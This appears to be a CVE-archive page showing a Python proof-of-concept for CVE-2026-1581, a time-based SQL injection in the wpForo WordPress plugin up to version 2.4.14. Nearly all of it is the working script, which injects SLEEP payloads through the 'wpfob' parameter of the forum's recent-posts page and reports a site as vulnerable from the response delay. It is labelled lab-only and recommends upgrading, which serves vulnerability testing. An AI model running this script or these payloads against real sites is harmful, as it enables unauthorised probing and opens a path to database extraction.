5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-1581 — wpForo <= 2.4.14 Time-Based SQLi Timing Checker

USAGE:
  python3 poc.py http://localhost:8081
  python3 poc.py http://localhost:8081/community
  python3 poc.py http://127.0.0.1:8082

"""

import sys
import time
import statistics
from urllib.parse import urlparse, urljoin

import requests

SLEEP_SECONDS = 5
BASELINE_RUNS = 3
TIMEOUT = 20
MIN_DELTA_SECONDS = 2.0


def die(msg: str, code: int = 1) -> None:
    print(msg)
    sys.exit(code)


def normalize_base(base_url: str) -> str:
    if "://" not in base_url:
        base_url = "http://" + base_url
    if not base_url.endswith("/"):
        base_url += "/"
    return base_url


def guess_community_base(session: requests.Session, base_url: str) -> str:
    parsed = urlparse(base_url)
    path = parsed.path or "/"
    if path.rstrip("/").endswith("/community"):
        return base_url.rstrip("/") + "/"

    cand = urljoin(base_url, "community/")
    try:
        r = session.get(cand, timeout=TIMEOUT, allow_redirects=True)
        if r.status_code < 400:
            return cand
        die(f"[-] Probe failed: {cand} returned HTTP {r.status_code}. "
            "Forum slug may not be '/community/'.")
    except requests.RequestException as e:
        die(f"[-] Cannot connect/probe {cand}: {e}")


def probe_or_die(session, url):
    try:
        r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
        if r.status_code >= 400:
            die(f"[-] Probe failed: {url} returned HTTP {r.status_code}")
    except requests.RequestException as e:
        die(f"[-] Probe failed: {url} error: {e}")


def measure(session: requests.Session, url: str, params: dict) -> float:
    t0 = time.perf_counter()
    try:
        r = session.get(url, params=params, timeout=TIMEOUT, allow_redirects=True)
        _ = r.text[:1]
    except requests.RequestException as e:
        die(f"[-] Request failed: {url} params={params}: {e}")
    return time.perf_counter() - t0


def median_baseline(session: requests.Session, recent_url: str) -> float:
    times = []
    params = {"view": "opened"}
    print(f"[*] Measuring baseline on: {recent_url}")
    for i in range(BASELINE_RUNS):
        t = measure(session, recent_url, params)
        times.append(t)
        print(f"    Run {i+1}: {t:.3f}s")
    base = statistics.median(times)
    print(f"[*] Baseline (median): {base:.3f}s\n")
    return base


def check(session: requests.Session, recent_url: str, baseline: float) -> bool:
    """
        Try payloads in order; return True on first confirmed delay
    """
    payloads = [
        f"modified,(SELECT SLEEP({SLEEP_SECONDS}))",
        f"modified,(SELECT IF(1=1,SLEEP({SLEEP_SECONDS}),0))",
    ]

    for payload in payloads:
        params = {"view": "opened", "wpfob": payload}
        print(f"[*] Testing payload: {payload}")
        t = measure(session, recent_url, params)
        delta = t - baseline
        print(f"    Response: {t:.3f}s (delta: {delta:.3f}s)")

        if delta >= max(MIN_DELTA_SECONDS, SLEEP_SECONDS * 0.6):
            print("    [+] Delay detected")
            return True
        else:
            print("    [-] No significant delay")

    print("\n[!] If you expected a delay but got none:")
    print("    - Ensure wpForo has at least 1 topic and 1 post")
    return False


def main() -> None:
    if len(sys.argv) < 2:
        die(f"Usage: {sys.argv[0]} <base_url>\nExample: {sys.argv[0]} http://localhost:8081/community")

    user_url = sys.argv[1].strip()
    base_url = normalize_base(user_url)

    print("=" * 60)
    print("CVE-2026-1581 — wpForo SQLi Timing Checker (LAB ONLY)")
    print(f"Input:  {user_url}")
    print("=" * 60)

    session = requests.Session()

    community_base = guess_community_base(session, base_url).rstrip("/") + "/"
    recent_url = urljoin(community_base, "recent/")

    print(f"[*] Using community base: {community_base}")
    print(f"[*] Using recent URL:     {recent_url}\n")

    probe_or_die(session, recent_url)
    baseline = median_baseline(session, recent_url)
    vulnerable = check(session, recent_url, baseline)

    print("\n" + "=" * 60)
    if vulnerable:
        print("[VULNERABLE] Time-based delay detected (likely wpForo <= 2.4.14)")
        print("            Upgrade to 2.4.15+")
    else:
        print("[NOT VULNERABLE] No time-based delay detected")
        print("                Target may be patched or dataset is empty/route mismatch")
    print("=" * 60)


if __name__ == "__main__":
    main()